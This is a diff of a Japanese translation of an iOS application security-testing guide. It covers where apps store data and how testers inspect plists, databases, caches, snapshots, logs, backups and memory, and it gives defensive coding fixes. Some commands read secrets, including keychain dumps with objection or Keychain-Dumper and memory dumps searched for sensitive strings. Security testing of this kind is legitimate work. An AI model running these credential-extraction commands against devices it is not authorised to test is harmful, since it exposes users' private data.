- **ローカリゼーション**: この構造は複数の言語をサポートし、特定の言語パックのリソースを含むことでグローバルなアプリケーションのリーチを促進します。 - **ローカリゼーション**: この構造は複数の言語をサポートし、特定の言語パックのリソースを含むことでグローバルなアプリケーションのリーチを促進します。
**Info.plist** **Info.plist**
**Info.plist**はiOSアプリケーションの基盤として機能し、**キー-バリュー**ペアの形式で重要な設定データをカプセル化しています。このファイルは、アプリケーションだけでなく、バンドル内のアプリ拡張やフレームワークにも必須です。XMLまたはバイナリ形式で構成されており、アプリの権限からセキュリティ設定までの重要な情報を保持しています。利用可能なキーの詳細な探については、[**Apple Developer Documentation**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc)を参照できます。 **Info.plist**はiOSアプリケーションの基盤として機能し、**キー-バリュー**ペアの形式で重要な設定データをカプセル化しています。このファイルは、アプリケーションだけでなく、バンドル内のアプリ拡張やフレームワークにも必須です。XMLまたはバイナリ形式で構成されており、アプリの権限からセキュリティ設定までの重要な情報を保持しています。利用可能なキーの詳細な探については、[**Apple Developer Documentation**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc)を参照できます。
このファイルをよりアクセスしやすい形式で操作したい場合、macOS上で`plutil`を使用することでXML変換を簡単に実現できますバージョン10.2以降でネイティブに利用可能またはLinux上で`plistutil`を使用します。変換のためのコマンドは次のとおりです: このファイルをよりアクセスしやすい形式で操作したい場合、macOS上で`plutil`を使用することでXML変換を簡単に実現できますバージョン10.2以降でネイティブに利用可能またはLinux上で`plistutil`を使用します。変換のコマンドは次のとおりです:
- **macOSの場合**: - **macOS**:
```bash ```bash
$ plutil -convert xml1 Info.plist $ plutil -convert xml1 Info.plist
``` ```
@ -202,9 +202,9 @@ iOS環境では、ディレクトリは**システムアプリケーション**
> [!WARNING] > [!WARNING]
> iOSのアプリケーションはサンドボックス化される必要があるため、各アプリには**`$HOME/Library/Containers`**内にアプリの**`CFBundleIdentifier`**をフォルダ名とするフォルダも存在します。 > iOSのアプリケーションはサンドボックス化される必要があるため、各アプリには**`$HOME/Library/Containers`**内にアプリの**`CFBundleIdentifier`**をフォルダ名とするフォルダも存在します。
> >
> ただし、両方のフォルダ(データフォルダとコンテナフォルダ)には、`MCMetadataIdentifier`キーで両方のファイルをリンクする**`.com.apple.mobile_container_manager.metadata.plist`**ファイルがあります。 > ただし、両方のフォルダ(データフォルダとコンテナフォルダ)には、両方のファイルを`MCMetadataIdentifier`キーでリンクするファイル**`.com.apple.mobile_container_manager.metadata.plist`**があります。
ユーザーインストールアプリのインストールディレクトリを発見するために、**objection tool**は便利なコマンド`env`を提供します。このコマンドは、対象のアプリに関する詳細なディレクトリ情報を表示します。以下はこのコマンドの使用例です: ユーザーインストールアプリのインストールディレクトリを発見するために、**objection tool**は便利なコマンド`env`を提供します。このコマンドは、対象のアプリに関する詳細なディレクトリ情報を表示します。以下はこのコマンドの使用例です:
```bash ```bash
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env
@ -215,7 +215,7 @@ CachesDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8E
DocumentDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Documents DocumentDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Documents
LibraryDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library LibraryDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library
``` ```
代わりに、アプリ名は `/private/var/containers` 内で `find` コマンドを使用して検索できます 代わりに、アプリ名は `/private/var/containers` 内で `find` コマンドを使用して検索できます:
```bash ```bash
find /private/var/containers -name "Progname*" find /private/var/containers -name "Progname*"
``` ```
@ -235,12 +235,12 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
**データディレクトリ:** **データディレクトリ:**
- **Documents/** - **Documents/**
- ユーザー生成データがすべて含まれています。アプリケーションのエンドユーザーがこのデータの作成を開始します。 - ユーザー生成データをすべて含みます。アプリケーションのエンドユーザーがこのデータの作成を開始します。
- ユーザーに見え、**ユーザーは書き込むことができます**。 - ユーザーに見え、**ユーザーは書き込むことができます**。
- このディレクトリの内容は**バックアップされます**。 - このディレクトリの内容は**バックアップされます**。
- アプリは`NSURLIsExcludedFromBackupKey`を設定することでパスを無効にできます。 - アプリは`NSURLIsExcludedFromBackupKey`を設定することでパスを無効にできます。
- **Library/** - **Library/**
- **ユーザー固有でない**すべての**ファイル****キャッシュ**、**設定**、**クッキー**、およびプロパティリストplist設定ファイルなどを含みます。 - **キャッシュ**、**設定**、**クッキー**、およびプロパティリストplist設定ファイルなど、**ユーザー固有でないすべてのファイル**を含みます。
- iOSアプリは通常`Application Support`および`Caches`サブディレクトリを使用しますが、アプリはカスタムサブディレクトリを作成できます。 - iOSアプリは通常`Application Support`および`Caches`サブディレクトリを使用しますが、アプリはカスタムサブディレクトリを作成できます。
- **Library/Caches/** - **Library/Caches/**
- **セミ永続的なキャッシュファイル**を含みます。 - **セミ永続的なキャッシュファイル**を含みます。
@ -253,12 +253,12 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
- このディレクトリの内容は**バックアップされます**。 - このディレクトリの内容は**バックアップされます**。
- アプリは`NSURLIsExcludedFromBackupKey`を設定することでパスを無効にできます。 - アプリは`NSURLIsExcludedFromBackupKey`を設定することでパスを無効にできます。
- **Library/Preferences/** - **Library/Preferences/**
- アプリケーションが再起動された後でも**持続する**ことができるプロパティを保存するために使用されます。 - アプリケーションが再起動された後でも**持続する**プロパティを保存するために使用されます。
- 情報は、アプリケーションサンドボックス内の暗号化されていないplistファイル\[BUNDLE_ID].plistに保存されます。 - 情報は、アプリケーションサンドボックス内のplistファイル\[BUNDLE_ID].plistに暗号化されずに保存されます。
- `NSUserDefaults`を使用して保存されたすべてのキー/値ペアはこのファイルに見つかります。 - `NSUserDefaults`を使用して保存されたすべてのキー/値ペアはこのファイルに見つかります。
- **tmp/** - **tmp/**
- アプリの起動間で持続する必要のない**一時ファイル**を書くためにこのディレクトリを使用します。 - アプリの起動間で持続する必要のない**一時ファイル**を書くためにこのディレクトリを使用します。
- 非永続的なキャッシュファイルが含まれています。 - 非永続的なキャッシュファイルを含みます。
- **ユーザーには見えません** - **ユーザーには見えません**
- このディレクトリの内容はバックアップされません。 - このディレクトリの内容はバックアップされません。
- OSはアプリが実行されていないときやストレージスペースが不足しているときに、このディレクトリのファイルを自動的に削除することがあります。 - OSはアプリが実行されていないときやストレージスペースが不足しているときに、このディレクトリのファイルを自動的に削除することがあります。
@ -371,15 +371,15 @@ ios-basics.md
### Plist ### Plist
**plist**ファイルは、**キーと値のペア**を含む構造化されたXMLファイルです。これは永続的なデータを保存する方法であり、時には**これらのファイルに機密情報が含まれていることがあります**。アプリをインストールした後、または集中的に使用した後にこれらのファイルを確認することをお勧めします。 **plist**ファイルは、**キーと値のペア**を含む構造化されたXMLファイルです。これは永続的なデータを保存する方法であり、時には**これらのファイルに機密情報が含まれている**ことがあります。アプリをインストールした後、または集中的に使用した後にこれらのファイルを確認することをお勧めします。
plistファイルにデータを永続化する最も一般的な方法は、**NSUserDefaults**を使用することです。このplistファイルは、**`Library/Preferences/<appBundleID>.plist`**のアプリサンドボックス内に保存されます。 plistファイルにデータを永続化する最も一般的な方法は、**NSUserDefaults**を使用することです。このplistファイルは、**`Library/Preferences/<appBundleID>.plist`**のアプリサンドボックス内に保存されます。
[`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults)クラスは、デフォルトシステムと対話するためのプログラムインターフェースを提供します。デフォルトシステムは、アプリケーションが**ユーザーの好みに応じて**動作をカスタマイズできるようにします。`NSUserDefaults`によって保存されたデータは、アプリケーションバンドル内で表示できます。このクラスは**plist** **ファイル**に**データ**を保存しますが、量のデータで使用することを意図しています。 [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults)クラスは、デフォルトシステムと対話するためのプログラムインターフェースを提供します。デフォルトシステムは、アプリケーションが**ユーザーの好みに応じて**動作をカスタマイズできるようにします。`NSUserDefaults`によって保存されたデータは、アプリケーションバンドル内で表示できます。このクラスは**plist** **ファイル**に**データ**を保存しますが、量のデータで使用することを意図しています。
このデータは、信頼できるコンピュータを介して直接アクセスすることはできませんが、**バックアップ**を実行することでアクセスできます。 このデータは、信頼できるコンピュータを介して直接アクセスすることはできませんが、**バックアップ**を実行することでアクセスできます。
**`NSUserDefaults`**を使用して保存された情報を**ダンプ**するには、objectionの`ios nsuserdefaults get`を使用します。 **`NSUserDefaults`**を使用して保存された情報をダンプするには、objectionの`ios nsuserdefaults get`を使用します。
アプリケーションで使用されているすべてのplistを見つけるには、`/private/var/mobile/Containers/Data/Application/{APPID}`にアクセスし、次のコマンドを実行します: アプリケーションで使用されているすべてのplistを見つけるには、`/private/var/mobile/Containers/Data/Application/{APPID}`にアクセスし、次のコマンドを実行します:
```bash ```bash
@ -438,7 +438,7 @@ Yapデータベースはsqliteデータベースであるため、前のセク
### Other SQLite Databases ### Other SQLite Databases
アプリケーションが独自のsqliteデータベースを作成することは一般的です。これらは**機密** **データ**を**保存**しており、暗号化されていない可能性があります。したがって、アプリケーションディレクトリ内のすべてのデータベースを確認することは常に興味深いです。したがって、データが保存されているアプリケーションディレクトリに移動します(`/private/var/mobile/Containers/Data/Application/{APPID}` アプリケーションが独自のsqliteデータベースを作成することは一般的です。これらは**機密** **データ**を**保存**しており、暗号化されていない可能性があります。したがって、アプリケーションディレクトリ内のすべてのデータベースを確認することは常に興味深いです。したがって、データが保存されているアプリケーションディレクトリに移動します(`/private/var/mobile/Containers/Data/Application/{APPID}`
```bash ```bash
find ./ -name "*.sqlite" -or -name "*.db" find ./ -name "*.sqlite" -or -name "*.db"
``` ```
@ -446,7 +446,7 @@ find ./ -name "*.sqlite" -or -name "*.db"
開発者は、Firebase Real-Time Databasesを通じて**データを保存および同期**することができる**NoSQLクラウドホストデータベース**を利用できます。データはJSON形式で保存され、接続されたすべてのクライアントにリアルタイムで同期されます。 開発者は、Firebase Real-Time Databasesを通じて**データを保存および同期**することができる**NoSQLクラウドホストデータベース**を利用できます。データはJSON形式で保存され、接続されたすべてのクライアントにリアルタイムで同期されます。
誤って構成されたFirebaseデータベースを確認する方法は、こちらで確認できます: 誤って構成されたFirebaseデータベースを確認する方法は、こちらで見つけることができます:
{{#ref}} {{#ref}}
../../network-services-pentesting/pentesting-web/buckets/firebase-database.md ../../network-services-pentesting/pentesting-web/buckets/firebase-database.md
@ -477,11 +477,11 @@ let realm = try Realm(configuration: config)
fatalError("Error opening realm: \(error)") fatalError("Error opening realm: \(error)")
} }
``` ```
### Couchbase Lite Databases ### Couchbase Lite データベース
[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios) は、**軽量**で**組み込み型**のデータベースエンジンであり、**ドキュメント指向**NoSQLアプローチに従っています。**iOS**および**macOS**にネイティブに設計されており、データをシームレスに同期する機能を提供します。 [Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios) は、**軽量**で**組み込み**のデータベースエンジンとして説明されており、**ドキュメント指向**NoSQLアプローチに従っています。**iOS**および**macOS**にネイティブに設計されており、データをシームレスに同期する機能を提供します。
デバイス上の潜在的なCouchbaseデータベースを特定するには、次のディレクトリを検査する必要があります デバイス上の潜在的な Couchbase データベースを特定するには、次のディレクトリを検査する必要があります:
```bash ```bash
ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support/ ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support/
``` ```
@ -508,9 +508,9 @@ iOSは各アプリのフォルダ内の**`Library/Cookies/cookies.binarycookies`
``` ```
### キャッシュ ### キャッシュ
デフォルトでは、NSURLSessionは**Cache.db**データベースに**HTTPリクエストとレスポンス**などのデータを保存します。このデータベースには、トークン、ユーザー名、またはその他の**機密情報**がキャッシュされている場合、**機密データ**が含まれる可能性があります。キャッシュされた情報を見つけるには、アプリのデータディレクトリ(`/var/mobile/Containers/Data/Application/<UUID>`)を開き、`/Library/Caches/<Bundle Identifier>`に移動します。**WebKitキャッシュもCache.db**ファイルに保存されています。**Objection**は、`sqlite connect Cache.db`コマンドを使用してデータベースを開き、操作できます。これは**通常のSQLiteデータベース**です。 デフォルトでは、NSURLSessionは**Cache.db**データベースに**HTTPリクエストとレスポンス**などのデータを保存します。このデータベースには、トークン、ユーザー名、またはその他の機密情報がキャッシュされている場合、**機密データ**が含まれる可能性があります。キャッシュされた情報を見つけるには、アプリのデータディレクトリ(`/var/mobile/Containers/Data/Application/<UUID>`)を開き、`/Library/Caches/<Bundle Identifier>`に移動します。**WebKitキャッシュもCache.db**ファイルに保存されています。**Objection**は、`sqlite connect Cache.db`コマンドを使用してデータベースを開き、操作できます。これは**通常のSQLiteデータベース**です。
このデータのキャッシングを**無効にすることを推奨**します。リクエストやレスポンスに機密情報が含まれている可能性があるためです。以下のリストは、これを達成するためのさまざまな方法を示しています。 このデータのキャッシングを無効にすることを**推奨**します。リクエストやレスポンスに機密情報が含まれている可能性があるためです。以下のリストは、これを達成するためのさまざまな方法を示しています。
1. ログアウト後にキャッシュされたレスポンスを削除することを推奨します。これは、Appleが提供する[`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses)メソッドを使用して行うことができます。このメソッドは次のように呼び出すことができます: 1. ログアウト後にキャッシュされたレスポンスを削除することを推奨します。これは、Appleが提供する[`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses)メソッドを使用して行うことができます。このメソッドは次のように呼び出すことができます:
@ -522,19 +522,19 @@ iOSは各アプリのフォルダ内の**`Library/Cookies/cookies.binarycookies`
[Appleのドキュメント](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral): [Appleのドキュメント](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral):
`一時的なセッション構成オブジェクトは、デフォルトのセッション構成デフォルトを参照に似ていますが、対応するセッションオブジェクトはキャッシュ、資格情報ストア、またはセッション関連データをディスクに保存しません。代わりに、セッション関連データはRAMに保存されます。一時的なセッションがディスクにデータを書き込むのは、URLの内容をファイルに書き込むように指示したときだけです。` `エフェメラルセッション構成オブジェクトは、デフォルトのセッション構成デフォルトを参照に似ていますが、対応するセッションオブジェクトはキャッシュ、資格情報ストア、またはセッション関連データをディスクに保存しません。代わりに、セッション関連データはRAMに保存されます。エフェメラルセッションがディスクにデータを書き込むのは、URLの内容をファイルに書き込むように指示したときだけです。`
3. キャッシュポリシーを[.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed)に設定することでもキャッシュを無効にできます。これにより、メモリまたはディスクのいずれかにキャッシュを保存することが無効になります。 3. キャッシュポリシーを[.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed)に設定することでもキャッシュを無効にできます。これにより、メモリまたはディスクのいずれかにキャッシュを保存することが無効になります。
### スナップショット ### スナップショット
ホームボタンを押す、iOSは**現在の画面のスナップショットを取得**し、アプリケーションへの移行をよりスムーズに行えるようにします。しかし、**機密** **データ**が現在の画面に存在する場合、それは**画像**に**保存**されます(これは**再起動**を**超えて持続**します)。これらは、アプリ間を切り替えるためにホーム画面をダブルタップすることでアクセスできるスナップショットです。 ホームボタンを押すたびに、iOSは**現在の画面のスナップショットを取得**し、アプリケーションへの移行をよりスムーズに行えるようにします。しかし、**機密** **データ**が現在の画面に存在する場合、それは**画像**に**保存**されます(これは**再起動**を**超えて****持続**します)。これらは、アプリ間を切り替えるためにホーム画面をダブルタップすることでアクセスできるスナップショットです。
iPhoneが脱獄されていない限り、**攻撃者**はこれらのスクリーンショットを見るために**デバイス**に**アクセス**する必要があります。デフォルトでは、最後のスナップショットはアプリケーションのサンドボックス内の`Library/Caches/Snapshots/`または`Library/SplashBoard/Snapshots`フォルダーに保存されます信頼されたコンピュータはiOS 7.0以降、ファイルシステムにアクセスできません)。 iPhoneが脱獄されていない限り、**攻撃者**はこれらのスクリーンショットを見るために**デバイス**に**アクセス**する必要があります。デフォルトでは、最後のスナップショットはアプリケーションのサンドボックス内の`Library/Caches/Snapshots/`または`Library/SplashBoard/Snapshots`フォルダーに保存されます信頼されたコンピュータはiOS 7.0以降、ファイルシステムにアクセスできません)。
この悪影響を防ぐ一つの方法は、`ApplicationDidEnterBackground()`関数を使用してスナップショットを取得する前に、空白の画面を表示するか、機密データを削除することです。 この悪影響を防ぐ一つの方法は、`ApplicationDidEnterBackground()`関数を使用してスナップショットを取得する前に、空白の画面を表示するか、機密データを削除することです。
以下は、デフォルトのスクリーンショットを設定するサンプル修正方法です。 以下は、デフォルトのスクリーンショットを設定するサンプル修正方法です。
Swift: Swift:
```swift ```swift
@ -566,13 +566,13 @@ self.backgroundImage.bounds = UIScreen.mainScreen.bounds;
[self.backgroundImage removeFromSuperview]; [self.backgroundImage removeFromSuperview];
} }
``` ```
これは、アプリケーションがバックグラウンドに入るときに `overlayImage.png` を背景画像として設定します。これにより、`overlayImage.png` が常に現在のビューを上書きするため、機密データの漏洩を防ぎます。 これは、アプリケーションがバックグラウンドに移行するたびに背景画像を `overlayImage.png`設定します。これにより、`overlayImage.png` が常に現在のビューを上書きするため、機密データの漏洩を防ぎます。
### Keychain ### Keychain
iOSキーチェーンにアクセスし管理するためのツールとして、[**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper) のようなものがあり、脱獄したデバイスに適しています。さらに、[**Objection**](https://github.com/sensepost/objection) は、同様の目的のために `ios keychain dump` コマンドを提供します。 iOSキーチェーンにアクセスし管理するためのツールとして、[**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper) のようなものがあり、脱獄したデバイスに適しています。さらに、[**Objection**](https://github.com/sensepost/objection) は、同様の目的のために `ios keychain dump` コマンドを提供します。
#### **資格情報の保存** #### **Credentialsの保存**
**NSURLCredential** クラスは、NSUserDefaultsや他のラッパーをバイパスして、機密情報を直接キーチェーンに保存するのに最適です。ログイン後に資格情報を保存するために、以下のSwiftコードが使用されます **NSURLCredential** クラスは、NSUserDefaultsや他のラッパーをバイパスして、機密情報を直接キーチェーンに保存するのに最適です。ログイン後に資格情報を保存するために、以下のSwiftコードが使用されます
```swift ```swift
@ -584,7 +584,7 @@ credential = [NSURLCredential credentialWithUser:username password:password pers
## **カスタムキーボードとキーボードキャッシュ** ## **カスタムキーボードとキーボードキャッシュ**
iOS 8.0以降、ユーザーはカスタムキーボード拡張をインストールでき、これは **設定 > 一般 > キーボード > キーボード** で管理できます。これらのキーボードは機能を拡張しますが、キー入力のログを記録し、外部サーバーにデータを送信するリスクがあります。ただし、ユーザーにはネットワークアクセスを必要とするキーボードについて通知されます。アプリは、機密情報の入力にカスタムキーボードの使用を制限するべきです。 iOS 8.0以降、ユーザーはカスタムキーボード拡張をインストールでき、これは **設定 > 一般 > キーボード > キーボード** で管理できます。これらのキーボードは機能を拡張しますが、キー入力のログを記録し、外部サーバーにデータを送信するリスクがあります。ただし、ネットワークアクセスを必要とするキーボードについてはユーザーに通知されます。アプリは、機密情報の入力に対してカスタムキーボードの使用を制限するべきです。
**セキュリティ推奨事項:** **セキュリティ推奨事項:**
@ -606,9 +606,9 @@ textField.autocorrectionType = UITextAutocorrectionTypeNo;
``` ```
## **ログ** ## **ログ**
コードのデバッグにはしばしば**ロギング**が使用されます。**ログには機密情報が含まれる可能性があるため、リスクが伴います**。以前は、iOS 6およびそれ以前のバージョンでは、ログはすべてのアプリアクセス可能であり、機密データの漏洩のリスクがありました。**現在、アプリケーションは自分のログのみへのアクセスに制限されています**。 コードのデバッグにはしばしば**ロギング**が使用されます。**ログには機密情報が含まれる可能性があるため、リスクが伴います**。以前は、iOS 6およびそれ以前のバージョンでは、ログはすべてのアプリアクセス可能であり、機密データの漏洩のリスクがありました。**現在、アプリケーションは自分のログのみへのアクセスに制限されています**。
これらの制限にもかかわらず、**ロック解除されたデバイスに物理的にアクセスできる攻撃者**は、デバイスをコンピュータに接続して**ログを読み取る**ことでこれを悪用することができます。アプリがアンインストールされた後も、ログはディスクに残ることに注意が必要です。 これらの制限にもかかわらず、**ロック解除されたデバイスに物理的にアクセスできる攻撃者**は、デバイスをコンピュータに接続して**ログを読み取る**ことでこれを悪用することができます。アプリがアンインストールされた後も、ログはディスクに残ることに注意が必要です。
リスクを軽減するために、**アプリと徹底的に対話し**、すべての機能や入力を探索して、機密情報が意図せずログに記録されていないことを確認することが推奨されます。 リスクを軽減するために、**アプリと徹底的に対話し**、すべての機能や入力を探索して、機密情報が意図せずログに記録されていないことを確認することが推奨されます。
@ -621,7 +621,7 @@ textField.autocorrectionType = UITextAutocorrectionTypeNo;
idevice_id --list # To find the device ID idevice_id --list # To find the device ID
idevicesyslog -u <id> (| grep <app>) # To capture the device logs idevicesyslog -u <id> (| grep <app>) # To capture the device logs
``` ```
役立ちます。さらに、**Xcode** はコンソールログを収集する方法を提供します: 役立ちます。さらに、**Xcode**はコンソールログを収集する方法を提供します:
1. Xcodeを開きます。 1. Xcodeを開きます。
2. iOSデバイスを接続します。 2. iOSデバイスを接続します。
@ -634,7 +634,7 @@ idevicesyslog -u <id> (| grep <app>) # To capture the device logs
```bash ```bash
iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
``` ```
ログ活動を観察するためのコマンドに続いて、これは問題の診断やログ内の潜在的なデータ漏洩を特定するのに非常に貴重です。 ログ活動を観察するためのコマンドに続いて、これは問題の診断やログ内の潜在的なデータ漏洩の特定に非常に役立ちます。
## バックアップ ## バックアップ
@ -642,7 +642,7 @@ iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
### セキュリティリスク ### セキュリティリスク
バックアップに**インストールされたアプリとそのデータ**が含まれることは、潜在的な**データ漏洩**の問題を引き起こし、**バックアップの変更がアプリの機能に影響を与えるリスク**をもたらします。これらのリスクを軽減するために、**機密情報をプレーンテキストで**アプリのディレクトリやそのサブディレクトリに保存しないことが推奨されます。 バックアップに**インストールされたアプリとそのデータ**が含まれることは、潜在的な**データ漏洩**の問題を引き起こし、**バックアップの変更がアプリの機能に影響を与えるリスク**をもたらします。これらのリスクを軽減するために、**アプリのディレクトリやそのサブディレクトリ機密情報をプレーンテキストで保存しないこと**が推奨されます。
### バックアップからのファイルの除外 ### バックアップからのファイルの除外
@ -673,11 +673,11 @@ iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
## 機密データのメモリテストに関する概要 ## 機密データのメモリテストに関する概要
アプリケーションのメモリに保存された機密情報を扱う際には、このデータの露出時間を制限することが重要です。メモリ内容を調査するための主なアプローチは2つあります**メモリダンプの作成**と**リアルタイムでのメモリ分析**です。どちらの方法にも課題があり、ダンププロセスや分析中に重要なデータを見逃す可能性があります。 アプリケーションのメモリに保存された機密情報を扱う際には、このデータの露出時間を制限することが重要です。メモリ内容を調査するための主なアプローチは2つあります**メモリダンプの作成**と**リアルタイムでのメモリ分析**です。どちらの方法にも、ダンププロセスや分析中に重要なデータを見逃す可能性などの課題があります。
## **メモリダンプの取得と分析** ## **メモリダンプの取得と分析**
脱獄デバイスと非脱獄デバイスの両方に対して、[objection](https://github.com/sensepost/objection)や[Fridump](https://github.com/Nightbringer21/fridump)のようなツールを使用してアプリのプロセスメモリをダンプすることができます。一度ダンプされたデータを分析するには、探している情報の性質に応じてさまざまなツールが必要です。 脱獄デバイスと非脱獄デバイスの両方に対して、[objection](https://github.com/sensepost/objection)や[Fridump](https://github.com/Nightbringer21/fridump)のようなツールを使用してアプリのプロセスメモリをダンプすることができます。一度ダンプされたデータを分析するには、探している情報の性質に応じてさまざまなツールが必要です。
メモリダンプから文字列を抽出するには、`strings``rabin2 -zz`のようなコマンドを使用できます: メモリダンプから文字列を抽出するには、`strings``rabin2 -zz`のようなコマンドを使用できます:
```bash ```bash
@ -687,7 +687,7 @@ $ strings memory > strings.txt
# Extracting strings using rabin2 # Extracting strings using rabin2
$ rabin2 -ZZ memory > strings.txt $ rabin2 -ZZ memory > strings.txt
``` ```
より詳細な分析、特定のデータタイプやパターンの検索を含む、**radare2**は広範な検索機能を提供します: より詳細な分析、特定のデータタイプやパターンの検索を含むために、**radare2**は広範な検索機能を提供します:
```bash ```bash
$ r2 <name_of_your_dump_file> $ r2 <name_of_your_dump_file>
[0x00000000]> /? [0x00000000]> /?
@ -712,24 +712,24 @@ $ r2 frida://usb//<name_of_your_app>
### チェック ### チェック
主なチェックは、コード内に**ハードコーディングされた**パスワード/秘密が見つかるか、またはそれらが**予測可能**であるか、コードが何らかの**弱い****暗号技術**アルゴリズムを使用しているかを確認することです。 主なチェックは、コード内に**ハードコーディングされた**パスワード/秘密がるか、またはそれらが**予測可能**であるか、コードが何らかの**弱い****暗号技術**アルゴリズムを使用しているかを確認することです。
自動的にいくつかの**暗号**ライブラリを**モニタリング**できることを知っておくと興味深いです。**objection**を使用して: 自動的に**crypto** **ライブラリ**を**objection**を使用して**モニタリング**できることを知っておくと興味深いです。
```swift ```swift
ios monitor crypt ios monitor crypt
``` ```
**iOSの暗号APIとライブラリに関する**詳細は、[https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography)を参照してください。 **iOSの暗号APIとライブラリに関する**詳細情報は、[https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography)にアクセスしてください。
## ローカル認証 ## ローカル認証
**ローカル認証**は、特に暗号化手法を通じてリモートエンドポイントへのアクセスを保護する際に重要な役割を果たします。ここでの本質は、適切に実装されていない場合、ローカル認証メカニズムが回避される可能性があるということです。 **ローカル認証**は、特に暗号化手法を通じてリモートエンドポイントへのアクセスを保護する際に重要な役割を果たします。ここでの本質は、適切に実装されていない場合、ローカル認証メカニズムが回避される可能性があるということです。
Appleの[**ローカル認証フレームワーク**](https://developer.apple.com/documentation/localauthentication)と[**キーチェーン**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html)は、ユーザー認証ダイアログを促進し、秘密データを安全に処理するための堅牢なAPIを提供します。セキュアエンクレーブはTouch IDの指紋IDを保護し、Face IDは生体データを損なうことなく顔認識に依存します。 Appleの[**ローカル認証フレームワーク**](https://developer.apple.com/documentation/localauthentication)と[**キーチェーン**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html)は、ユーザー認証ダイアログを促進し、秘密データを安全に扱うための堅牢なAPIを提供します。セキュアエンクレーブはTouch IDの指紋IDを保護し、Face IDは生体データを損なうことなく顔認識に依存します。
Touch ID/Face IDを統合するために、開発者は2つのAPIの選択肢があります Touch ID/Face IDを統合するために、開発者は2つのAPIの選択肢があります
- **`LocalAuthentication.framework`**:生体データへのアクセスなしで高レベルのユーザー認証を行います。 - **`LocalAuthentication.framework`**:生体データへのアクセスなしで高レベルのユーザー認証を行います。
- **`Security.framework`**:生体認証を使用して秘密データを保護するための低レベルのキーチェーンサービスへのアクセスを提供します。さまざまな[オープンソースラッパー](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id)により、キーチェーンアクセスが簡素化されています。 - **`Security.framework`**:生体認証を使用して秘密データを保護するための低レベルのキーチェーンサービスへのアクセスを提供します。さまざまな[オープンソースラッパー](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id)がキーチェーンアクセスを簡素化します。
> [!CAUTION] > [!CAUTION]
> ただし、`LocalAuthentication.framework``Security.framework`の両方には脆弱性があり、主に認証プロセスのためにデータを送信せずにブール値を返すため、バイパスされる可能性があります(参照:[Don't touch me that way, by David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM))。 > ただし、`LocalAuthentication.framework``Security.framework`の両方には脆弱性があり、主に認証プロセスのためにデータを送信せずにブール値を返すため、バイパスされる可能性があります(参照:[Don't touch me that way, by David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM))。
@ -747,9 +747,9 @@ Touch ID/Face IDを統合するために、開発者は2つのAPIの選択肢が
iOSアプリで**ローカル認証**を実装するには、**キーチェーンAPI**を使用して認証トークンなどの秘密データを安全に保存します。このプロセスにより、データはユーザーのデバイスのパスコードまたはTouch IDなどの生体認証を使用してのみアクセス可能になります。 iOSアプリで**ローカル認証**を実装するには、**キーチェーンAPI**を使用して認証トークンなどの秘密データを安全に保存します。このプロセスにより、データはユーザーのデバイスのパスコードまたはTouch IDなどの生体認証を使用してのみアクセス可能になります。
キーチェーンは、`SecAccessControl`属性を持つアイテムを設定する機能を提供し、ユーザーがTouch IDまたはデバイスのパスコードを介して成功裏に認証するまでアイテムへのアクセスを制限します。この機能はセキュリティを強化するために重要です。 キーチェーンは、`SecAccessControl`属性を持つアイテムを設定する機能を提供し、ユーザーがTouch IDまたはデバイスのパスコード成功裏に認証するまでアイテムへのアクセスを制限します。この機能はセキュリティを強化するために重要です。
